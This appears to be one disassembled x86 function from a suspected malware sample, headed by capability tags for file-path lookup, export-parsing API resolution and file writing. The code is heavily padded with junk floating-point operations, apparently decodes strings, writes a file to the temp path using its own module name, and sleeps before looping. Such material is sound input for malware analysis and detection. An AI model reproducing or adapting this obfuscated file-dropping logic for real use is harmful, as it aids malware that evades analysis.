Function at 0x4087c0
Capabilities:
Get common file path
Resolve function by parsing pe exports
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x41dde8
mov eax, dword fs:[0]
push eax
sub esp, 0xe0
mov eax, dword [0x424fb0]
xor eax, esp
mov dword [esp + 0xd8], eax
push ebx
push esi
push edi
mov eax, dword [0x424fb0]
xor eax, esp
push eax
lea eax, [esp + 0xf0]
mov dword fs:[0], eax
fldz
xor esi, esi
fst qword [esp + 0x74]
xor ebx, ebx
mov dword [esp + 0x5c], esi
fst qword [esp + 0x4c]
fstp qword [esp + 0x64]
mov dword [esp + 0x34], esi
fldz
mov dword [esp + 0x38], ebx
fst dword [esp + 0x28]
mov dword [esp + 0xa0], 0xf
mov dword [esp + 0x9c], esi
mov dword [esp + 0x24], esi
mov dword [esp + 0x14], esi
fst dword [esp + 0x60]
fst dword [esp + 0x30]
mov byte [esp + 0x8c], bl
fstp dword [esp + 0x18]
mov dword [esp + 0x24], 0x323678aa
push 0x118
mov dword [esp + 0xfc], esi
call fcn.0040ab09
push eax
mov dword [esp + 0x68], eax
call fcn.00402ce0
fld dword [0x4230a8]
fadd dword [esp + 0x20]
add esp, 8
fstp dword [0x4230a8]
fld dword [esp + 0x18]
fadd qword [0x41e348]
fstp dword [esp + 0x18]
push esi
call fcn.0040a8da
mov esi, eax
mov eax, dword [esp + 0x60]
mov dword [esp + 0x28], eax
fild dword [esp + 0x28]
mov edi, edx
add esp, 4
mov dword [esp + 0x7c], esi
fsub qword [0x423048]
mov dword [esp + 0x80], edi
call fcn.0040abf0
cmp edi, ebx
mov dword [esp + 0x5c], eax
jg 0x4088de
jl 0x4088d4
cmp esi, dword [esp + 0x34]
jae 0x4088de
xor ebx, ebx
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebx
mov eax, esi
sub eax, dword [esp + 0x34]
mov ecx, edi
sbb ecx, ebx
mov dword [esp + 0x20], ecx
js 0x4092b3
jg 0x4088ff
cmp eax, 0x708
jbe 0x4092b3
mov dx, word [0x424014]
movzx ecx, word [0x424af4]
movsx eax, dx
mov dword [esp + 0x34], esi
sub ecx, eax
shr esi, 9
add ecx, 0x7c03f090
push 0x408
lea ebx, [esi + 0x55]
mov word [0x424af4], cx
push 0x4245f8
mov dword [esp + 0x40], edi
mov dword [esp + 0x2c], 0
mov dword [esp + 0x50], esi
mov dword [esp + 0x24], ebx
call fcn.00402360
push 0xd
push 0x422f54
mov dword [esp + 0x50], eax
call fcn.00402360
fld dword [0x424b78]
mov edi, eax
fsub qword [0x41e850]
push 0xaf1
push 0x422440
mov dword [esp + 0x5c], edi
fstp dword [0x424b78]
call fcn.00402360
push 0x31e
push 0x4230d0
mov dword [esp + 0x78], eax
call fcn.00402360
add esp, 0x20
mov dword [esp + 0x2c], eax
cmp esi, ebx
je 0x408e11
jmp 0x4089b0
fld dword [0x424db0]
mov edx, dword [0x4267c0]
fadd qword [0x41e848]
push 0
push edx
fstp dword [0x424db0]
call fcn.00401420
add esp, 8
test eax, eax
jne 0x4089ec
mov eax, dword [0x4267c8]
mov ecx, dword [0x426304]
push eax
push ecx
call fcn.004017c0
add esp, 8
mov edx, dword [esp + 0x48]
mov eax, dword [esp + 0x2c]
mov ecx, dword [esp + 0x58]
push edx
push eax
push ecx
lea edx, [esp + 0xb0]
push edx
call fcn.00403660
push 0x8b
push 0x424088
call fcn.00402360
mov ebx, eax
mov eax, dword [esp + 0x5c]
add esp, 0x18
mov esi, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408a22
mov edi, ebx
sub eax, esi
dec edi
mov edi, edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x408a30
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0x2710
mov ecx, eax
push 0
and ecx, 3
lea eax, [esp + 0x90]
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0xb0]
push ebx
push ecx
call fcn.00407e60
push 0x8b
fldz
push 0
mov dword [esp + 0x2c], 0
fstp qword [esp + 0x88]
push ebx
call fcn.0040aa40
push ebx
call fcn.0040a92b
mov dx, word [0x424cb8]
mov ecx, dword [0x422ff8]
dec word [0x424cb8]
movsx eax, dx
add esp, 0x24
cmp eax, ecx
jge 0x408abf
fld dword [0x423038]
fsub qword [0x41e3c0]
fsub qword [0x41e3b8]
fstp dword [0x424b5c]
jmp 0x408acd
mov edx, dword [esp + 0x10]
imul edx, edx, 0xd7bd0ba8
mov dword [esp + 0x10], edx
mov eax, dword [esp + 0x8c]
mov edi, 0x10
cmp dword [esp + 0xa0], edi
jae 0x408ae9
lea eax, [esp + 0x8c]
mov ecx, dword [esp + 0x9c]
mov edx, dword [esp + 0x40]
push ecx
push eax
push edx
call fcn.00407af0
add esp, 0xc
cmp eax, 9
jl 0x408dc4
mov cx, word [0x424e08]
movsx ecx, cx
add dword [esp + 0x14], ecx
mov ecx, dword [esp + 0x8c]
cmp dword [esp + 0xa0], edi
jae 0x408b2d
lea ecx, [esp + 0x8c]
mov edx, dword [ecx]
xor ecx, ecx
cmp ecx, dword [esp + 0x80]
jl 0x408dc4
jg 0x408b4a
cmp edx, dword [esp + 0x7c]
jb 0x408dc4
lea esi, [eax - 1]
cmp esi, dword [esp + 0x9c]
jbe 0x408b5b
call fcn.0040b1a2
mov eax, dword [esp + 0x8c]
cmp dword [esp + 0xa0], edi
jae 0x408b72
lea eax, [esp + 0x8c]
mov byte [eax + esi], 0
mov esi, dword [esp + 0xa0]
mov ebx, dword [esp + 0x8c]
mov eax, ebx
cmp esi, edi
jae 0x408b91
lea eax, [esp + 0x8c]
lea ecx, [esp + 0xa4]
add eax, 8
jmp 0x408ba0
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x408bc0
test dl, dl
je 0x408bbc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x408bc0
add eax, 2
add ecx, 2
test dl, dl
jne 0x408ba0
xor eax, eax
jmp 0x408bc5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x408dc4
cmp esi, edi
jb 0x408cad
mov edi, ebx
test ebx, ebx
je 0x408c08
mov eax, ebx
cmp esi, 0x10
jae 0x408be9
lea eax, [esp + 0x8c]
cmp eax, edi
ja 0x408c08
mov eax, ebx
cmp esi, 0x10
jae 0x408bfb
lea eax, [esp + 0x8c]
mov ecx, dword [esp + 0x9c]
add eax, ecx
cmp edi, eax
jbe 0x408c14
call fcn.0040b1a2
mov ecx, dword [esp + 0x9c]
lea esi, [esp + 0x88]
mov ebx, edi
mov edx, dword [esp + 0xa0]
mov eax, dword [esp + 0x8c]
cmp edx, 0x10
jae 0x408c37
lea eax, [esp + 0x8c]
lea edi, [eax + ecx]
test edi, edi
je 0x408c6e
mov eax, dword [esp + 0x8c]
cmp edx, 0x10
jae 0x408c51
lea eax, [esp + 0x8c]
cmp eax, edi
ja 0x408c6e
mov eax, dword [esp + 0x8c]
cmp edx, 0x10
jae 0x408c68
lea eax, [esp + 0x8c]
add eax, ecx
cmp edi, eax
jbe 0x408c73
call fcn.0040b1a2
cmp esi, 0xfffffffc
je 0x408c8c
test esi, esi
je 0x408c87
lea edx, [esp + 0x88]
cmp esi, edx
je 0x408c8c
call fcn.0040b1a2
cmp ebx, edi
je 0x408d1b
cmp esi, 0xfffffffc
je 0x408cca
test esi, esi
jne 0x408ca2
call fcn.0040b1a2
cmp dword [esi + 0x18], 0x10
jb 0x408cb9
mov eax, dword [esi + 4]
jmp 0x408cbc
lea edi, [esp + 0x8c]
jmp 0x408bdb
lea eax, [esi + 4]
mov ecx, dword [esi + 0x14]
add ecx, eax
cmp ebx, ecx
jb 0x408cca
call fcn.0040b1a2
mov byte [ebx], 0
mov edx, dword [0x422f3c]
mov eax, dword [esp + 0x14]
imul edx, eax
mov dword [esp + 0x14], edx
inc dword [0x422f3c]
cmp esi, 0xfffffffc
je 0x408d0e
test esi, esi
jne 0x408cf2
call fcn.0040b1a2
cmp dword [esi + 0x18], 0x10
jb 0x408cfd
mov eax, dword [esi + 4]
jmp 0x408d00
lea eax, [esi + 4]
mov ecx, dword [esi + 0x14]
add ecx, eax
cmp ebx, ecx
jb 0x408d0e
call fcn.0040b1a2
mov ecx, dword [esp + 0x9c]
inc ebx
jmp 0x408c1d
fld qword [esp + 0x4c]
fcomp qword [0x41e840]
fnstsw ax
fld qword [esp + 0x4c]
fsub qword [0x41e348]
fstp qword [esp + 0x4c]
test ah, 0x44
jp 0x408d4c
mov edx, dword [0x424bb8]
mov dword [esp + 0x10], edx
fild dword [esp + 0x10]
fstp dword [esp + 0x18]
push 0x7e
push 0x424088
call fcn.00402360
push 0
mov esi, eax
push 0
lea eax, [esp + 0x98]
push eax
lea ecx, [esp + 0xb8]
push esi
push ecx
call fcn.00407e60
push esi
push 0x7e
call fcn.00401b40
push 0xc
push 0x424d50
call fcn.00402360
add esp, 0x2c
mov esi, eax
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x408d90
sub eax, ecx
push eax
push 0xffffffffffffffff
push esi
lea ecx, [esp + 0x94]
call fcn.00403eb0
push esi
push 0xc
mov edi, eax
call fcn.00401b40
mov edx, dword [esp + 0xa4]
add edx, 0xfffffff5
add esp, 8
cmp edi, edx
je 0x408dd9
mov eax, dword [esp + 0x48]
inc eax
mov dword [esp + 0x48], eax
cmp eax, dword [esp + 0x1c]
jne 0x4089b0
jmp 0x408e0d
push 0xb
push edi
lea ecx, [esp + 0x90]
call fcn.00404c60
fld dword [0x4221d0]
fmul qword [0x424e28]
mov eax, 0xffff9f02
mov dword [esp + 0x24], 1
fstp qword [0x424e28]
mov word [0x424dd8], ax
mov edi, dword [esp + 0x44]
mov ecx, dword [esp + 0x40]
fldz
xor esi, esi
push 0x408
push esi
mov dword [esp + 0x18], esi
fstp qword [esp + 0x74]
push ecx
or ebx, 0xffffffff
call fcn.0040aa40
mov edx, dword [esp + 0x4c]
push edx
call fcn.0040a92b
mov ax, word [0x424cb8]
mov ecx, dword [0x422ff8]
add word [0x424cb8], bx
cwde
add esp, 0x10
cmp eax, ecx
jge 0x408e6f
fld dword [0x423038]
fsub qword [0x41e3c0]
fsub qword [0x41e3b8]
fstp dword [0x424b5c]
jmp 0x408e7d
mov edx, dword [esp + 0x10]
imul edx, edx, 0xd7bd0ba8
mov dword [esp + 0x10], edx
fldz
xor eax, eax
mov dword [edi], eax
mov dword [edi + 4], eax
mov dword [edi + 8], eax
mov dword [esp + 0x10], esi
fstp qword [esp + 0x6c]
push edi
mov byte [edi + 0xc], al
call fcn.0040a92b
mov ax, word [0x424cb8]
mov ecx, dword [0x422ff8]
add word [0x424cb8], bx
cwde
add esp, 4
cmp eax, ecx
jge 0x408ecf
fld dword [0x423038]
fsub qword [0x41e3c0]
fsub qword [0x41e3b8]
fstp dword [0x424b5c]
jmp 0x408edd
mov edx, dword [esp + 0x10]
imul edx, edx, 0xd7bd0ba8
mov dword [esp + 0x10], edx
fldz
mov edi, dword [esp + 0x2c]
push 0x31e
push esi
mov dword [esp + 0x18], esi
fstp qword [esp + 0x74]
push edi
call fcn.0040aa40
push edi
call fcn.0040a92b
mov ax, word [0x424cb8]
mov ecx, dword [0x422ff8]
add word [0x424cb8], bx
cwde
add esp, 0x10
cmp eax, ecx
jge 0x408f32
fld dword [0x423038]
fsub qword [0x41e3c0]
fsub qword [0x41e3b8]
fstp dword [0x424b5c]
jmp 0x408f40
mov edx, dword [esp + 0x10]
imul edx, edx, 0xd7bd0ba8
mov dword [esp + 0x10], edx
mov ax, word [0x424cc8]
mov edi, dword [esp + 0x58]
movsx ecx, ax
mov dword [esp + 0x1c], ecx
push 0xaf1
push esi
fild dword [esp + 0x24]
push edi
fmul dword [esp + 0x3c]
fstp dword [esp + 0x3c]
mov dword [esp + 0x38], esi
fldz
fstp qword [esp + 0x78]
call fcn.0040aa40
push edi
call fcn.0040a92b
mov dx, word [0x424cb8]
mov ecx, dword [0x422ff8]
add word [0x424cb8], bx
movsx eax, dx
add esp, 0x10
cmp eax, ecx
jge 0x408fb1
fld dword [0x423038]
fsub qword [0x41e3c0]
fsub qword [0x41e3b8]
fstp dword [0x424b5c]
jmp 0x408fbf
mov edx, dword [esp + 0x2c]
imul edx, edx, 0xd7bd0ba8
mov dword [esp + 0x2c], edx
push 0x40
lea eax, [esp + 0xa8]
push esi
push eax
call fcn.0040aa40
add esp, 0xc
cmp dword [esp + 0x24], esi
je 0x4092b3
movzx ecx, word [0x42307c]
mov edx, dword [esp + 0x60]
add ecx, 0x43daa236
push 0x708
push edx
mov word [0x42307c], cx
call fcn.00403d50
add esp, 8
cmp dword [esp + 0x9c], 0x200
jbe 0x4092b3
push 0x370
call fcn.0040ab09
mov esi, eax
mov ax, word [0x424a60]
movsx ecx, ax
mov dword [esp + 0x20], ecx
add esp, 4
push esi
fild dword [esp + 0x20]
push 0xeb
fadd qword [0x4245e8]
fstp dword [esp + 0x20]
fld qword [0x4245e8]
fadd qword [0x41e348]
fstp qword [0x4245e8]
mov eax, dword [0x424d30]
mov edx, dword [esp + 0x1c]
mov ecx, dword [0x424c4c]
sub eax, edx
sub eax, ecx
mov dword [esp + 0x24], eax
fild dword [esp + 0x24]
fmul dword [0x4230a8]
fstp dword [0x4230a8]
inc dword [0x424c4c]
add dword [esp + 0x1c], ebx
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push esi
call fcn.00403190
fld dword [0x4230c8]
fsub qword [0x41e348]
add esp, 8
fstp dword [0x4230c8]
fld dword [0x4230c8]
fsub qword [0x41e838]
fadd qword [0x41e830]
fcomp qword [0x41e828]
fnstsw ax
test ah, 0x41
jp 0x4090db
mov edx, 0xffffd295
mov word [0x424a84], dx
jmp 0x4090e9
fld dword [esp + 0x30]
fadd qword [0x41e820]
fstp dword [esp + 0x30]
push 3
push 0x422f98
call fcn.00402360
mov ebx, eax
push ebx
push esi
call fcn.0040b7fe
push ebx
push 3
mov edi, eax
call fcn.00401b40
mov eax, dword [esp + 0xa4]
add esp, 0x18
cmp dword [esp + 0xa0], 0x10
jae 0x409123
lea eax, [esp + 0x8c]
mov ecx, dword [esp + 0x9c]
push edi
push 1
push ecx
push eax
call fcn.0040b977
push edi
call fcn.0040b3a4
add esp, 0x14
push 0x104
lea eax, [esi + 0x104]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x15
push 0x424b40
call fcn.00402360
push 0x20
push 0x424d70
mov ebx, eax
call fcn.00402360
mov edx, dword [0x4267c0]
push edx
mov edi, eax
push edi
lea eax, [esi + 0x104]
push eax
push ebx
lea eax, [esi + 0x208]
push 0x168
push eax
call fcn.0040b27e
fld dword [esp + 0x50]
fsub qword [0x41e818]
push edi
push 0x20
fstp dword [esp + 0x58]
call fcn.00401b40
fld qword [esp + 0x7c]
add esp, 0x30
fld1
fsub st(1), st(0)
fxch st(1)
fstp qword [esp + 0x4c]
fld qword [esp + 0x4c]
mov ax, word [0x424bd8]
fsub qword [0x41e810]
movsx ecx, ax
mov dword [esp + 0x1c], ecx
fild dword [esp + 0x1c]
fsubp st(1)
fld dword [esp + 0x28]
mov edx, dword [esp + 0x14]
fsub qword [0x41e808]
dec dword [esp + 0x14]
mov dword [esp + 0x1c], edx
fisub dword [esp + 0x1c]
fcompp
fnstsw ax
fadd dword [esp + 0x28]
fstp dword [esp + 0x28]
inc word [0x424bd8]
test ah, 5
jp 0x409218
fld qword [esp + 0x64]
fld dword [esp + 0x28]
fsub qword [0x41e800]
fsubp st(1)
fstp qword [esp + 0x64]
push ebx
push 0x15
call fcn.00401b40
mov ecx, dword [0x424e78]
mov edx, dword [0x424ce0]
dec dword [0x424ce0]
mov eax, 0x412977df
sub eax, ecx
sub edx, 0x2520024b
add esp, 8
cmp edx, eax
je 0x409267
inc dword [0x424b7c]
mov eax, dword [0x424b7c]
mov dword [esp + 0x1c], eax
fild dword [esp + 0x1c]
fld dword [esp + 0x18]
faddp st(1)
fsubr qword [esp + 0x74]
fstp qword [esp + 0x74]
mov ecx, dword [0x4267c0]
push 1
push ecx
call fcn.00401420
lea eax, [esi + 0x208]
push eax
push esi
call fcn.004017c0
push 0x370
push 0
push esi
call fcn.0040aa40
push esi
call fcn.0040a92b
add esp, 0x20
push 0x15f90
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [0x424ab8]
call fcn.0040abf0
mov dword [0x424a78], eax
fld dword [0x4233f0]
mov dx, word [0x4223f8]
movsx eax, dx
mov dword [esp + 0x1c], eax
push 0x3e8
fild dword [esp + 0x20]
faddp st(1)
fsub qword [0x41e7f8]
fstp qword [esp + 0x78]
fld dword [0x4233f0]
fadd qword [0x41e348]
fstp dword [0x4233f0]
call dword [sym.imp.KERNEL32.dll_Sleep]
mov cx, word [0x424e30]
movsx edx, cx
cmp edx, 0xe49d1c04
jg 0x409312
fld qword [esp + 0x64]
fadd qword [esp + 0x74]
fstp qword [esp + 0x64]
mov eax, dword [0x4267c0]
push 0
push eax
call fcn.00401420
add esp, 8
test eax, eax
jne 0x40933c
mov ecx, dword [0x4267c8]
mov edx, dword [0x426304]
push ecx
push edx
call fcn.004017c0
add esp, 8
fld dword [esp + 0x18]
mov ebx, dword [esp + 0x38]
fld1
xor esi, esi
fsub st(1), st(0)
fxch st(1)
fstp dword [esp + 0x18]
fld dword [0x424c70]
fld dword [0x424b00]
fsub qword [0x41e7f0]
fadd dword [esp + 0x18]
fsubp st(1)
fstp dword [0x424c70]
fadd dword [0x424b00]
fstp dword [0x424b00]
jmp 0x408895